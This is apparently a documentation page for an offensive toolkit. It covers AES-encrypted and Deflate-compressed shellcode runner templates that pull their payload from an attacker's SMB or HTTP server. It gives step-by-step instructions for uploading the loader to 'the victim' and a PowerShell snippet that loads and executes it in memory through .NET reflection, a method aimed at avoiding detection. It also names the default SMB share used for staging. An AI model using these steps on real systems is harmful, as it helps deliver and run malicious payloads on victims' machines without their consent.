> ## Documentation Index
> Fetch the complete documentation index at: https://witchking.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# AES + Compression

> AES-encrypted and compressed shellcode runners.

Templates located at `Templates/AES/`:

* `AES_Deflate_HTTP.cs`
* `AES_Deflate_SMB.cs`

## Steps

1. Copy a shellcode runner (`XOR` or `Caesar`) to your SMB or HTTP server, rename to `shellcode_runner.exe`
2. Upload `AES_Deflate_SMB.exe` or `AES_Deflate_HTTP.exe` to the victim
3. Execute via reflection:

```powershell theme={null}
$data=[IO.File]::ReadAllBytes('C:\Users\user\Desktop\AES_Deflate_SMB.exe')
$ass=[System.Reflection.Assembly]::Load($data)
$ass.EntryPoint.Invoke($null,@($null))
```

> [!NOTE]
>
> Default SMB share name is **visualstudio**. Edit line 123 of `Templates/AES/AES_Deflate_SMB.cs` to change it.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.